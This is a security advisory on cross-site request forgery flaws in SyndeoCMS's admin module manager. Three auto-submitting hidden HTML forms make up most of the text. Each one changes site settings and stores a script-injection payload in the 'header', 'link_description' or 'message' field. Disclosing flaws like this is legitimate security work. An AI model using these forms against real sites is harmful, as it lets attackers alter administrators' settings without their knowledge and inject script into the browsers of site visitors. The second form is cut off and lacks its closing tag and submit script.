Cross-site Request Forgery (CSRF) Vulnerabilities in SyndeoCMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in SyndeoCMS which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) in SyndeoCMS
1.1 The vulnerability exists due to insufficient validation of the request origin in starnet/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and chane website settings. Due to insufficient sanitation of input data in the “header” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/starnet/index.php?option=modulemanager&module=3&modoptio n=saveconfig" method="post" name="main" >
<input type="hidden" name="general[0]" value="1" />
<input type="hidden" name="general[1]" value="#99FFFF" />
<input type="hidden" name="general[2]" value="900" />
<input type="hidden" name="general[3]" value="1" />
<input type="hidden" name="general[4]" value="#000066" />
<input type="hidden" name="header[1]" value="header4.php" />
<input type="hidden" name="header[2]" value="290" />
<input type="hidden" name="header[3]" value='starnet/media/header-bg.jpg"><script>alert(document.cookie)</script>' />
<input type="hidden" name="header[4]" value="Century Schoolbook" />
<input type="hidden" name="header[5]" value="55" />
<input type="hidden" name="header[6]" value="#FFFFFF" />
<input type="hidden" name="header[7]" value="0" />
<input type="hidden" name="header[0]" value="1" />
<input type="hidden" name="section[1]" value="section1.php" />
<input type="hidden" name="section[2]" value="#FF0000" />
<input type="hidden" name="section[3]" value="#99CC99" />
<input type="hidden" name="section[4]" value="#0099CC" />
<input type="hidden" name="section[5]" value="Arial" />
<input type="hidden" name="section[6]" value="14" />
<input type="hidden" name="section[7]" value="#FFFFFF" />
<input type="hidden" name="section[8]" value="100" />
<input type="hidden" name="section[9]" value="#0099CC" />
<input type="hidden" name="section[0]" value="1" />
<input type="hidden" name="status[1]" value="status3.php" />
<input type="hidden" name="status[2]" value="#FF33FF" />
<input type="hidden" name="status[3]" value="Arial" />
<input type="hidden" name="status[4]" value="10" />
<input type="hidden" name="status[5]" value="#CCFFCC" />
<input type="hidden" name="status[6]" value="Location:" />
<input type="hidden" name="status[7]" value="" />
<input type="hidden" name="status[8]" value="" />
<input type="hidden" name="status[9]" value="" />
<input type="hidden" name="status[0]" value="1" />
<input type="hidden" name="menu[1]" value="menu1.php" />
<input type="hidden" name="menu[2]" value="#CC66FF" />
<input type="hidden" name="menu[3]" value="#FF9966" />
<input type="hidden" name="menu[4]" value="#FF66FF" />
<input type="hidden" name="menu[5]" value="#CCCC99" />
<input type="hidden" name="menu[6]" value="Arial" />
<input type="hidden" name="menu[7]" value="14" />
<input type="hidden" name="menu[8]" value="#000000" />
<input type="hidden" name="menu[9]" value="starnet/themes/editable/arrow_blue.gif" />
<input type="hidden" name="menu[0]" value="1" />
<input type="hidden" name="content[0]" value="content1.php" />
<input type="hidden" name="content[1]" value="#FFFFFF" />
<input type="hidden" name="content[2]" value="#FFFF99" />
<input type="hidden" name="content[3]" value="630" />
<input type="hidden" name="content[4]" value="500" />
<input type="hidden" name="content[5]" value="Arial" />
<input type="hidden" name="content[6]" value="10" />
<input type="hidden" name="content[7]" value="#000000" />
<input type="hidden" name="content[8]" value="1" />
<input type="hidden" name="footer[1]" value="footer2.php" />
<input type="hidden" name="footer[2]" value="#003366" />
<input type="hidden" name="footer[3]" value="Arial" />
<input type="hidden" name="footer[4]" value="10" />
<input type="hidden" name="footer[5]" value="#FFFFFF" />
<input type="hidden" name="footer[6]" value="Page last changed:" />
<input type="hidden" name="footer[7]" value="25" />
<input type="hidden" name="footer[0]" value="1" />
<input type="hidden" name="savebutton" value=" Save" />
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in starnet/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and edit search engine settings. Due to insufficient sanitation of input data in the “link_description” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/starnet/index.php?option=modulemanager&module=2&modoptio n=save_link&suboption=&p age_id=3&link_id=2" method="post" name="main" >
<input type="hidden" name="link_category" value="ICT">
<input type="hidden" name="link_title" value="Google">
<input type="hidden" name="link_url" value="http://www.google.com">
<input type="hidden" name="link_description" value='Search Engine."><script>alert(document.cookie)</script>'>
<input type="hidden" name="link_sort" value="1">
<input type="hidden" name="page_id" value="3">
<input type="hidden" name="initial" value="1">
<input type="hidden" name="savebutton" value=" Save" >
1.3 The vulnerability exists due to insufficient validation of the request origin in starnet/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify website settings. Due to insufficient sanitation of input data in the “message” parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/starnet/index.php?option=modulemanager&module=13&modopti on=save_message&suboptio n=&message_id=1&cat_id=4" method="post" name="main" >
<input type="hidden" name="intro_message" value="Holiday">
<input type="hidden" name="days" value="0">
<input type="hidden" name="page_id" value="4">
<input type="hidden" name="name" value="Director">
<input type="hidden" name="date" value="09-07-2010">
<input type="hidden" name="message" value='Next week is a holiday so all the children are free"><script>alert(document.cookie)</script>' >
<input type="hidden" name="savebutton" value=" Save">
</form>
<script>
document.main.submit();
</script>